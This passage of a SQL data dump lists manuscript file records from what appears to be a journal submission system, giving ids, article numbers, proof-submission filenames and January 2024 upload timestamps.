11:13:42',1,3,0),(39202,14353,'14353-tdoi-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:14:24',1,3,0),(39203,14353,'14353-l1nh-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:14:24',1,3,0),(39204,14353,'14353-doje-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:14:28',1,3,0),(39205,14353,'14353-pyge-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:14:28',1,3,0),(39206,14352,'14352-nzj9-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:15:22',1,3,0),(39207,14352,'14352-0agy-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:15:22',1,3,0),(39208,14351,'14351-hx6p-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:15:54',1,3,0),(39209,14351,'14351-p2nv-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:15:54',1,3,0),(39210,14350,'14350-j3hz-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:16:25',1,3,0),(39211,14350,'14350-xhb0-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:16:25',1,3,0),(39212,14349,'14349-9ifq-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:17:10',1,3,0),(39213,14349,'14349-hrz0-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:17:10',1,3,0),(39214,14348,'14348-hezk-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:40:49',1,3,0),(39215,14348,'14348-2i0u-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:40:50',1,3,0),(39216,14347,'14347-74qb-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:41:22',1,3,0),(39217,14347,'14347-j835-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:41:22',1,3,0),(39218,14346,'14346-gh0b-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:41:52',1,3,0),(39219,14346,'14346-zetm-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:41:52',1,3,0),(39220,14345,'14345-a5uo-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:42:26',1,3,0),(39221,14345,'14345-r19g-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 11:42:26',1,3,0),(39222,14389,'14389-0-Manuscript-2024-01-02.docx',NULL,'2024-01-02 17:07:49',1,1,0),(39224,14391,'14391-0-Manuscript-2024-01-02.docx',NULL,'2024-01-02 17:14:33',1,1,0),(39231,14398,'14398-0-Manuscript-2024-01-02.docx',NULL,'2024-01-02 17:36:10',1,1,0),(39232,13960,'13960-15um-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:42:22',1,3,0),(39233,13960,'13960-3xv5-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:42:22',1,3,0),(39234,14285,'14285-iv71-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:44:16',1,3,0),(39235,14285,'14285-9qkp-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:44:16',1,3,0),(39236,14311,'14311-gexz-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:49:03',1,3,0),(39237,14311,'14311-2e0b-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:49:03',1,3,0),(39238,14312,'14312-29xd-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:49:29',1,3,0),(39239,14312,'14312-ekoa-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:49:29',1,3,0),(39240,14313,'14313-yrnk-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:52:56',1,3,0),(39241,14313,'14313-uo1z-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:52:57',1,3,0),(39242,14314,'14314-ma6o-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:53:33',1,3,0),(39243,14314,'14314-7egu-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:53:33',1,3,0),(39244,14315,'14315-hejp-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:56:53',1,3,0),(39245,14315,'14315-g30e-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:56:53',1,3,0),(39246,14316,'14316-xu1d-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 11:57:25',1,3,0),(39247,14316,'14316-wc3e-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 11:57:25',1,3,0),(39248,14317,'14317-mg54-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 12:00:23',1,3,0),(39249,14317,'14317-uo58-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 12:00:23',1,3,0),(39250,14318,'14318-es3x-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 12:12:07',1,3,0),(39251,14318,'14318-n1mk-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 12:12:07',1,3,0),(39252,14342,'14342-ekit-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 12:14:29',1,3,0),(39253,14342,'14342-pe7g-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 12:14:29',1,3,0),(39254,14343,'14343-hv9q-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 12:14:57',1,3,0),(39255,14343,'14343-it15-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 12:14:57',1,3,0),(39256,14399,'14399-0-Manuscript-2024-01-03.pdf',NULL,'2024-01-03 12:37:47',1,1,0),(39257,14359,'14359-ynaf-Manuscript-proof-submission-2024-01-03.rar',NULL,'2024-01-03 14:08:49',1,3,0),(39258,14153,'14153-nqt4-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:11:58',1,3,0),(39259,14153,'14153-149x-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:11:58',1,3,0),(39260,14152,'14152-1zbc-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:14:32',1,3,0),(39261,14152,'14152-dbs1-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:14:32',1,3,0),(39262,14149,'14149-w8kx-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:19:58',1,3,0),(39263,14149,'14149-r7qu-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:19:58',1,3,0),(39264,14148,'14148-jftl-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:22:07',1,3,0),(39265,14148,'14148-tqbp-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:22:07',1,3,0),(39266,14146,'14146-cek5-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:31:01',1,3,0),(39267,14146,'14146-cogu-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:31:01',1,3,0),(39268,14144,'14144-0k6e-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:32:35',1,3,0),(39269,14144,'14144-vb81-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:32:35',1,3,0),(39270,14142,'14142-akd6-Manuscript-proof-submission-2024-01-03.indd',NULL,'2024-01-03 14:34:38',1,3,0),(39271,14142,'14142-5r8t-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:34:38',1,3,0),(39272,14136,'14136-45jm-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:36:39',1,3,0),(39273,14136,'14136-be7u-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:36:39',1,3,0),(39274,14332,'14332-hzwb-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:39:41',1,3,0),(39275,14332,'14332-0oye-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:39:41',1,3,0),(39276,14333,'14333-4g7u-Manuscript-proof-submission-2024-01-03.docx',NULL,'2024-01-03 14:41:53',1,3,0),(39277,14333,'14333-iunp-Manuscript-proof-submission-2024-01-03.pdf',NULL,'2024-01-03 14:41:53',1,3,0),(39278,14400,'14400-0-Manuscript-2024-01-03.docx',NULL,'2024-01-03 14:43:06',1,1,0),(39279,14382,'14382-br4l-Manuscript-proof-submission-2024-01-03.rar',NULL,'2024-01-03 15:51:36',1,3,0),(39280,14401,'14401-0-Manuscript-2024-01-03.docx',NULL,'2024-01-03 17:33:15',1,1,0),(39281,14382,'14382-Manuscript-2024-01-03-lm7n-iphsj-23-14382.rar',NULL,'2024-01-03 17:40:43',1,3,0),(39282,14359,'14359-Manuscript-2024-01-03-pois-iphsj-23-14359.rar',NULL,'2024-01-03 17:41:24',1,3,0),(39284,14341,'14341-Manuscript-2024-01-04-rkpz-move-pdf-making.pdf',NULL,'2024-01-04 10:34:10',1,3,0),(39285,14403,'14403-0-Manuscript-2024-01-04.docx',NULL,'2024-01-04 12:07:31',1,1,0),(39286,14404,'14404-0-Manuscript-2024-01-04.docx',NULL,'2024-01-04 12:08:28',1,1,0),(39287,14405,'14405-0-Manuscript-2024-01-04.docx',NULL,'2024-01-04 12:09:47',1,1,0),(39289,14407,'14407-0-Manuscript-2024-01-04.docx',NULL,'2024-01-04 12:12:15',1,1,0),(39290,14382,'14382-Manuscript-2024-01-04-z9ey-graphic-completed.pdf',NULL,'2024-01-04 14:56:29',1,3,0),(39291,14359,'14359-Manuscript-2024-01-04-0gmt-graphic-completed.pdf',NULL,'2024-01-04 14:56:32',1,3,0),(39292,14341,'14341-Manuscript-2024-01-04-2fem-graphic-completed.pdf',NULL,'2024-01-04 15:14:12',1,3,0),(39293,14408,'14408-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 13:16:17',1,1,0),(39294,14369,'14369-kxo0-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:46:24',1,3,0),(39295,14369,'14369-pk6l-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:46:24',1,3,0),(39296,14370,'14370-xs9r-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:46:54',1,3,0),(39297,14370,'14370-h5cw-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:46:54',1,3,0),(39298,14371,'14371-erj8-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:50:57',1,3,0),(39299,14371,'14371-rwem-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:50:57',1,3,0),(39300,14372,'14372-aery-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:51:32',1,3,0),(39301,14372,'14372-fzm1-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:51:32',1,3,0),(39302,14373,'14373-om4f-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:53:25',1,3,0),(39303,14373,'14373-0ezj-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:53:25',1,3,0),(39304,14374,'14374-dmou-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:53:58',1,3,0),(39305,14374,'14374-5j18-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:53:58',1,3,0),(39306,14375,'14375-60rt-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:54:28',1,3,0),(39307,14375,'14375-xn7z-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:54:28',1,3,0),(39308,14376,'14376-6cbx-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:55:09',1,3,0),(39309,14376,'14376-cpyn-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:55:09',1,3,0),(39310,14377,'14377-qeo4-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:55:52',1,3,0),(39311,14377,'14377-076t-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:55:52',1,3,0),(39312,14378,'14378-hdoe-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 14:56:38',1,3,0),(39313,14378,'14378-bpna-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 14:56:39',1,3,0),(39314,14409,'14409-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:13:19',1,1,0),(39315,14334,'14334-Manuscript-2024-01-05-v9h4-ipaom-23-14334.rar',NULL,'2024-01-05 15:13:43',1,3,0),(39316,14410,'14410-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:15:53',1,1,0),(39317,14411,'14411-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:20:46',1,1,0),(39318,14412,'14412-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:29:36',1,1,0),(39319,14413,'14413-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:40:31',1,1,0),(39320,14414,'14414-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:43:52',1,1,0),(39321,14321,'14321-rmi4-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 15:52:39',1,3,0),(39322,14321,'14321-10tl-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 15:52:39',1,3,0),(39323,14415,'14415-0-Manuscript-2024-01-05.docx',NULL,'2024-01-05 15:56:13',1,1,0),(39324,14323,'14323-eyrt-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 16:50:28',1,3,0),(39325,14323,'14323-gw1y-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 16:50:28',1,3,0),(39326,14322,'14322-iu3a-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 16:50:52',1,3,0),(39327,14322,'14322-o5pt-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 16:50:52',1,3,0),(39328,14324,'14324-go9r-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 16:51:23',1,3,0),(39329,14324,'14324-lhy5-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 16:51:23',1,3,0),(39330,14325,'14325-ly05-Manuscript-proof-submission-2024-01-05.docx',NULL,'2024-01-05 16:51:46',1,3,0),(39331,14325,'14325-czqr-Manuscript-proof-submission-2024-01-05.pdf',NULL,'2024-01-05 16:51:47',1,3,0),(39332,14334,'14334-Manuscript-2024-01-05-q41b.pdf',NULL,'2024-01-05 17:15:36',1,3,0),(39334,14417,'14417-0-Manuscript-2024-01-06.docx',NULL,'2024-01-06 21:46:05',1,1,0),(39335,14418,'14418-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 09:47:05',1,1,0),(39336,14419,'14419-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 09:51:00',1,1,0),(39337,14420,'14420-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 09:54:13',1,1,0),(39338,14226,'14226-3j8o-Manuscript-proof-submission-2024-01-08.docx',NULL,'2024-01-08 09:57:53',1,3,0),(39339,14226,'14226-7s2c-Manuscript-proof-submission-2024-01-08.pdf',NULL,'2024-01-08 09:57:53',1,3,0),(39340,14421,'14421-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 09:57:59',1,1,0),(39341,14326,'14326-hsv0-Manuscript-proof-submission-2024-01-08.docx',NULL,'2024-01-08 09:58:40',1,3,0),(39342,14326,'14326-lgrm-Manuscript-proof-submission-2024-01-08.pdf',NULL,'2024-01-08 09:58:40',1,3,0),(39343,14327,'14327-d4aw-Manuscript-proof-submission-2024-01-08.docx',NULL,'2024-01-08 09:59:14',1,3,0),(39344,14327,'14327-es07-Manuscript-proof-submission-2024-01-08.pdf',NULL,'2024-01-08 09:59:14',1,3,0),(39345,14328,'14328-5x2p-Manuscript-proof-submission-2024-01-08.docx',NULL,'2024-01-08 10:00:43',1,3,0),(39346,14328,'14328-yg0b-Manuscript-proof-submission-2024-01-08.pdf',NULL,'2024-01-08 10:00:43',1,3,0),(39347,14329,'14329-npew-Manuscript-proof-submission-2024-01-08.docx',NULL,'2024-01-08 10:01:30',1,3,0),(39348,14329,'14329-2lxs-Manuscript-proof-submission-2024-01-08.pdf',NULL,'2024-01-08 10:01:30',1,3,0),(39349,14330,'14330-aejs-Manuscript-proof-submission-2024-01-08.docx',NULL,'2024-01-08 10:02:14',1,3,0),(39350,14330,'14330-1h79-Manuscript-proof-submission-2024-01-08.pdf',NULL,'2024-01-08 10:02:14',1,3,0),(39351,14422,'14422-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:03:22',1,1,0),(39352,14423,'14423-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:03:33',1,1,0),(39353,14424,'14424-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:05:19',1,1,0),(39354,14425,'14425-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:07:21',1,1,0),(39355,14426,'14426-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:09:58',1,1,0),(39356,14427,'14427-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:12:05',1,1,0),(39357,14428,'14428-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:12:28',1,1,0),(39358,14429,'14429-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:13:58',1,1,0),(39359,14430,'14430-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:14:49',1,1,0),(39360,14431,'14431-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:15:28',1,1,0),(39361,14432,'14432-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:18:40',1,1,0),(39362,14433,'14433-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:26:05',1,1,0),(39363,14434,'14434-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 10:35:15',1,1,0),(39364,14435,'14435-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:08:59',1,1,0),(39365,14436,'14436-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:11:42',1,1,0),(39366,14437,'14437-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:13:43',1,1,0),(39367,14438,'14438-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:15:33',1,1,0),(39368,14439,'14439-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:17:06',1,1,0),(39369,14440,'14440-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:18:23',1,1,0),(39370,14441,'14441-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:19:56',1,1,0),(39371,14442,'14442-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:21:31',1,1,0),(39372,14443,'14443-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:23:27',1,1,0),(39373,14444,'14444-0-Manuscript-2024-01-08.docx',NULL,'2024-01-08 12:24:46',1,1,0),(39374,14385,'14385-98hg-Manuscript-proof-submission-2024-01-08.rar',NULL,'2024-01-08 14:59:27',1,3,0),(39375,14385,'14385-Manuscript-2024-01-08-ozp4-iphsj-23-14385.rar',NULL,'2024-01-08 17:21:16',1,3,0),(39376,14401,'14401-hcd6-Manuscript-2024-01-09.docx',NULL,'2024-01-09 09:52:28',1,1,0),(39377,14401,'14401-jp30-Manuscript-2024-01-09.docx',NULL,'2024-01-09 09:52:37',1,1,0),(39378,14401,'14401-1cun-Manuscript-2024-01-09.docx',NULL,'2024-01-09 09:52:41',1,1,0),(39379,14385,'14385-Manuscript-2024-01-09-ty6d-graphic-completed.pdf',NULL,'2024-01-09 12:24:08',1,3,0),(39380,14385,'14385-Manuscript-2024-01-09-q27t-graphic-completed.pdf',NULL,'2024-01-09 12:24:34',1,3,0),(39381,14445,'14445-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:13:43',1,1,0),(39382,14446,'14446-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:18:09',1,1,0),(39383,14447,'14447-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:24:53',1,1,0),(39384,14448,'14448-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:30:57',1,1,0),(39385,14449,'14449-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:39:10',1,1,0),(39386,14450,'14450-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:44:40',1,1,0),(39387,14451,'14451-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:52:49',1,1,0),(39388,14452,'14452-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 15:57:33',1,1,0),(39389,14453,'14453-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:00:09',1,1,0),(39390,14454,'14454-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:40:18',1,1,0),(39391,14455,'14455-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:43:44',1,1,0),(39392,14456,'14456-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:45:59',1,1,0),(39393,14457,'14457-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:47:51',1,1,0),(39394,14458,'14458-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:51:53',1,1,0),(39395,14459,'14459-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:53:43',1,1,0),(39396,14460,'14460-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:55:09',1,1,0),(39397,14461,'14461-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 16:58:05',1,1,0),(39398,14462,'14462-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 17:03:27',1,1,0),(39399,14463,'14463-0-Manuscript-2024-01-09.docx',NULL,'2024-01-09 17:09:00',1,1,0),(39400,14464,'14464-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 02:27:54',1,1,0),(39401,14221,'14221-2srq-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:48:48',1,3,0),(39402,14221,'14221-nsp2-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:48:48',1,3,0),(39403,14221,'14221-sgqf-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:48:55',1,3,0),(39404,14221,'14221-1ndg-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:48:55',1,3,0),(39405,14221,'14221-rk0m-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:00',1,3,0),(39406,14221,'14221-ws3z-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:00',1,3,0),(39407,14221,'14221-x2js-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:02',1,3,0),(39408,14221,'14221-ql9m-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:02',1,3,0),(39409,14221,'14221-2siz-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:04',1,3,0),(39410,14221,'14221-4r81-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:04',1,3,0),(39411,14221,'14221-h1z5-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:06',1,3,0),(39412,14221,'14221-epq9-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:06',1,3,0),(39413,14221,'14221-g81n-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:09',1,3,0),(39414,14221,'14221-3jtb-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:09',1,3,0),(39415,14221,'14221-geo3-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:11',1,3,0),(39416,14221,'14221-i78j-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:11',1,3,0),(39417,14221,'14221-xbpt-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:13',1,3,0),(39418,14221,'14221-pufy-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:13',1,3,0),(39419,14221,'14221-8w2a-Manuscript-proof-submission-2024-01-10.docx',NULL,'2024-01-10 11:49:15',1,3,0),(39420,14221,'14221-fksz-Manuscript-proof-submission-2024-01-10.pdf',NULL,'2024-01-10 11:49:15',1,3,0),(39421,14465,'14465-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:27:53',1,1,0),(39422,14466,'14466-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:33:51',1,1,0),(39423,14467,'14467-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:37:50',1,1,0),(39424,14468,'14468-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:45:21',1,1,0),(39425,14469,'14469-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:50:08',1,1,0),(39426,14470,'14470-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:55:21',1,1,0),(39427,14471,'14471-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:56:13',1,1,0),(39428,14472,'14472-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 15:57:59',1,1,0),(39429,14473,'14473-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:33:38',1,1,0),(39430,14474,'14474-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:36:52',1,1,0),(39431,14475,'14475-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:39:30',1,1,0),(39432,14476,'14476-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:40:32',1,1,0),(39433,14477,'14477-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:40:44',1,1,0),(39434,14478,'14478-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:45:25',1,1,0),(39435,14479,'14479-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:47:07',1,1,0),(39436,14480,'14480-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:48:43',1,1,0),(39437,14481,'14481-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:55:15',1,1,0),(39438,14482,'14482-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:56:01',1,1,0),(39439,14483,'14483-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 16:56:58',1,1,0),(39440,14484,'14484-0-Manuscript-2024-01-10.docx',NULL,'2024-01-10 17:59:24',1,1,0),(39441,14485,'14485-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:15:22',1,1,0),(39442,14486,'14486-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:18:56',1,1,0),(39443,14487,'14487-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:23:42',1,1,0),(39444,14488,'14488-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:25:30',1,1,0),(39445,14489,'14489-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:26:50',1,1,0),(39446,14490,'14490-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:29:25',1,1,0),(39447,14491,'14491-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:38:15',1,1,0),(39448,14492,'14492-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:39:08',1,1,0),(39449,14493,'14493-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:47:56',1,1,0),(39450,14494,'14494-0-Manuscript-2024-01-11.docx',NULL,'2024-01-11 11:50:55',1,1,0),(39451,14401,'14401-96pz-Manuscript-proof-submission-2024-01-12.rar',NULL,'2024-01-12 11:40:35',1,3,0),(39452,14495,'14495-0-Manuscript-2024-01-12.docx',NULL,'2024-01-12 14:25:25',1,1,0),(39453,14496,'14496-0-Manuscript-2024-01-13.docx',NULL,'2024-01-13 17:01:51',1,1,0),(39454,14496,'14496-1-Manuscript-2024-01-13.docx',NULL,'2024-01-13 17:01:51',1,1,0),(39455,14496,'14496-2-Manuscript-2024-01-13.pdf',NULL,'2024-01-13 17:01:51',1,1,0),(39456,14497,'14497-0-Manuscript-2024-01-14.docx',NULL,'2024-01-14 16:57:33',1,1,0),(39457,14497,'14497-1-Manuscript-2024-01-14.docx',NULL,'2024-01-14 16:57:34',1,1,0),(39458,14497,'14497-2-Manuscript-2024-01-14.docx',NULL,'2024-01-14 16:57:34',1,1,0),(39459,14498,'14498-0-Manuscript-2024-01-17.docx',NULL,'2024-01-17 09:20:41',1,1,0),(39460,14423,'14423-elro-Manuscript-proof-submission-2024-01-17.docx',NULL,'2024-01-17 14:47:21',1,3,0),(39461,14424,'14424-yw5l-Manuscript-proof-submission-2024-01-17.docx',NULL,'2024-01-17 14:47:48',1,3,0),(39462,14425,'14425-836d-Manuscript-proof-submission-2024-01-17.docx',NULL,'2024-01-17 14:48:15',1,3,0),(39463,14426,'14426-1lvq-Manuscript-proof-submission-2024-01-17.docx',NULL,'2024-01-17 14:48:44',1,3,0),(39464,14426,'14426-Manuscript-2024-01-17-ny9c.pdf',NULL,'2024-01-17 14:50:35',1,3,0),(39465,14425,'14425-Manuscript-2024-01-17-yw8l.pdf',NULL,'2024-01-17 14:51:10',1,3,0),(39466,14424,'14424-Manuscript-2024-01-17-lq4z.pdf',NULL,'2024-01-17 14:52:04',1,3,0),(39467,14423,'14423-Manuscript-2024-01-17-fg9j.pdf',NULL,'2024-01-17 14:52:47',1,3,0),(39468,14499,'14499-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 